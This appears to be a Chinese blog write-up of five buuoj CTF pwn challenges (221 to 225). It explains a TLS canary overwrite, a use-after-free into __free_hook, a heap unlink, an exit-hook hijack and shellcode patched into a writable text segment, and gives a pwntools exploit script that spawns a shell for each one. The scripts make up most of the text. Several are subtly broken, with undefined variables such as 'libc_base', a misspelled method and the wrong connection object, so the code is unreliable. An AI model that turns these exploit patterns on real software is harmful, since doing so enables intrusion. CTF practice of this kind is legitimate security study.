buuoj Pwn writeup 221-225

221 starctf2018_babystack

在这里插入图片描述在这里插入图片描述映入眼帘,程序比较简单,但似乎用了线程。

看看pthread_create函数是干嘛的。
函数声明

#include <pthread.h>
int pthread_create(
                 pthread_t *restrict tidp,   //新创建的线程ID指向的内存单元。
                 const pthread_attr_t *restrict attr,  //线程属性,默认为NULL
                 void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行
                 void *restrict arg //默认为NULL。若上述函数需要参数,将参数放入结构中并将地址作为arg传入。
                  );

所以说白了就是线程id放下了数组,然后创建的线程走start那个函数。

后面还有一个pthread_join函数。

pthread_join使一个线程等待另一个线程结束。
代码中如果没有pthread_join主线程会很快结束从而使整个进程结束,从而使创建的线程没有机会开始执行就结束了。加入pthread_join后,主线程会一直等待直到等待的线程结束自己才结束,使创建的线程有机会执行。

int pthread_join(pthread_t thread, void **value_ptr);
thread:等待退出线程的线程号。
value_ptr:退出线程的返回值。

那说半天花里胡哨的,能干嘛。好像就创建了一个线程而已,其实没啥用。

去看看那个start函数。
在这里插入图片描述开了个空间,问想输多少字节。空间大小是4104,输多少最大0x10000,似乎有戏。去看看那个函数干嘛的。

在这里插入图片描述就是夸夸输入,所以有个溢出,根据保护,利用这个溢出能干嘛。

有canary,所以绕过就行。怎么个绕法,去攻击TLS结构体,修改canary就好。

在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值了。

exp

# -*- coding: utf-8 -*-
from pwn import *


r = process("./221")
elf = ELF("./64/libc-2.27.so")

context.log_level = "debug"


pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
#顺便做个栈迁移
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
#没必要改rdx

payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x0')

r.sendlineafter("send?\n", str(0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

r.send(p64(one_gadget))

r.interactive()

222 xm_2019_awd_pwn2

在这里插入图片描述
add
在这里插入图片描述
free
在这里插入图片描述free这里明显的uaf

show
在这里插入图片描述也就是输出。

说白了就是uaf。

exp

from pwn import *

r = remote('node4.buuoj.cn',26055)

elf = ELF('./222')
libc = ELF("./64/libc-2.27.so")

def add(size,content):
    r.sendlineafter('>>','1')
    r.sendlineafter('size:',str(size))
    r.sendlineafter('content:',content)

def delete(idx):
    r.sendlineafter('>>','2')
    r.sendlineafter('idx:',str(idx))

def show(idx):
    r.sendlineafter('>>','3')
    r.sendlineafter('idx:',str(idx))


add(0x500,'aaaa') #0
add(0x500,'aaaa') #1
delete(0)
show(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']

add(0x60,'aaaa')#2
add(0x60,'aaaa')#3
delete(2)
delete(2)
add(0x60,p64(free_hook))
add(0x60,'doudou3')#4
add(0x60,p64(system_addr))#5
add(0x20,'/bin/sh\x00')#6


r.sendlineafter('>>','2')
r.sendlineafter('idx:','7')

r.interactive()

223 jarvisoj_level6

在这里插入图片描述保护有点少。

首先给了一个初始化。
在这里插入图片描述申请了一个大空间,第一个是256,第二个初始化为0,剩下的空间,每个分三个,然后全部初始化为0.

new
在这里插入图片描述大小至少为136。

list note
在这里插入图片描述
正常输出。

edit
在这里插入图片描述正常edit

free
在这里插入图片描述很明显的uaf。

我们就正常unlink就好了。

exp

from pwn import *

context.log_level = 'debug'

libc = ELF("./32/libc-2.23.so")
elf = ELF('./223')
r = remote('node4.buuoj.cn',26559)

def listNote():
	r.sendlineafter("Your choice: ", "1")

def newNote(length, content):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter('Length of new note: ', str(length))
    r.sendlineafter('Enter your note: ', content)

def editNote(number, length, content):
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter('Note number: ', str(number))
    r.sendlineafter('Length of note: ', str(length))
    r.sendlineafter('Enter your note: ', content)

def deleteNote(number):
    r.sendlineafter("Your choice: ", "4")
    r.sendlnieafter('Note number: ', str(number))
    

newNote(7,'a'*7) # 0
newNote(7,'b'*7) # 1
deleteNote(0)
newNote(1,'0')
listNote()
r.recv(7)
libc_addr = u32(p.recv(4)) - 0x1b0b70
system_addr = libc_addr + libc.symbols['system']
print "libc_base = " + hex(libc_base)

newNote(7,'c'*7) # 2
newNote(7,'d'*7) # 3
deleteNote(0)
deleteNote(2)
newNote(1,'0')
listNote()
r.recv(7)
heap_base = u32(p.recv(4))-0xd28
deleteNote(0)
deleteNote(1)
deleteNote(3)

payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload = payload.ljust(0x80,'a') 
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'a')
newNote(len(payload),payload)
deleteNote(1)

payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_base+0xca8)
payload2 = payload2.ljust(0x80*2,'\x00')
editNote(0,len(payload2),payload2)
editNote(0,4,p32(system_addr))
editNote(1,8,'/bin/sh\x00')
    
deleteNote(1)
r.interactive()

224 hctf2018_the_end

在这里插入图片描述
在这里插入图片描述程序可以让我们修改四个字节,所以我们的思路其实是能不能够劫持exit。

我们想到可以攻击IO_FILE,因为exit后会调用函数,调用vtable中的set_buf函数,他在vtable + 0x58的地方,所以我们把vtable的指针修改到附近,然后再伪造vtable中的指针为one_gadget。

但是我们发现,环境是ubuntu18,在libc2.24之后会对vtable进行检查,会让我们的对vtable指针的劫持失效,所以我们准备劫持exit函数。

exit函数调用过程中会调用 __rtld_lock_lock_recursive这个函数。
可以修改 _rtld_global 结构体的 _dl_rtld_lock_recursive 指针,将其修改为 one gadget 即可。

exp

# coding=utf8
from pwn import *


context.log_level = "debug"

#r = process("./224")
r = remote("node4.buuoj.cn", "27336")
libc = ELF("./64/libc-2.27.so")
ld = ELF('/lib64/ld-linux-x86-64.so.2')
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./224")

r.recvuntil("0x")
sleep_addr = int(r.recv(12),16)
libc_base = sleep_addr - libc.symbols['sleep']
one_gadget = libc_base + 0x4f322
exit_hook = libc_base + 0x619f68

for i in range(5):
    r.send(p64(exit_hook + i))
    r.send(p64(one_gadget)[i])

r.sendline("exec /bin/sh 1>&0")
r.interactive()

225 inndy_onepunch

在这里插入图片描述
逻辑简单。
在这里插入图片描述逻辑还是比较简单的。
能修改一个字节。

这题坑在哪…它的text段居然是可以修改的……
所以我们编写好shellcode,跳过去就行。

exp

#coding:utf8
from pwn import *
 
context(os='linux',arch='amd64')
r = process('./255')
text = 0x400767
 
def writeData(addr,data):
   r.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))

shellcode = asm('''mov rax,0x0068732f6e69622f
                   push rax
                   mov rdi,rsp
                   mov rax,59
                   xor rsi,rsi
                   mov rdx,rdx
                   syscall
                ''')
                
shellcode_addr = 0x400769
i = 0
for x in shellcode:
   data = u8(x)
   writeData(shellcode_addr + i,data)
   i = i + 1
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
 
r.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值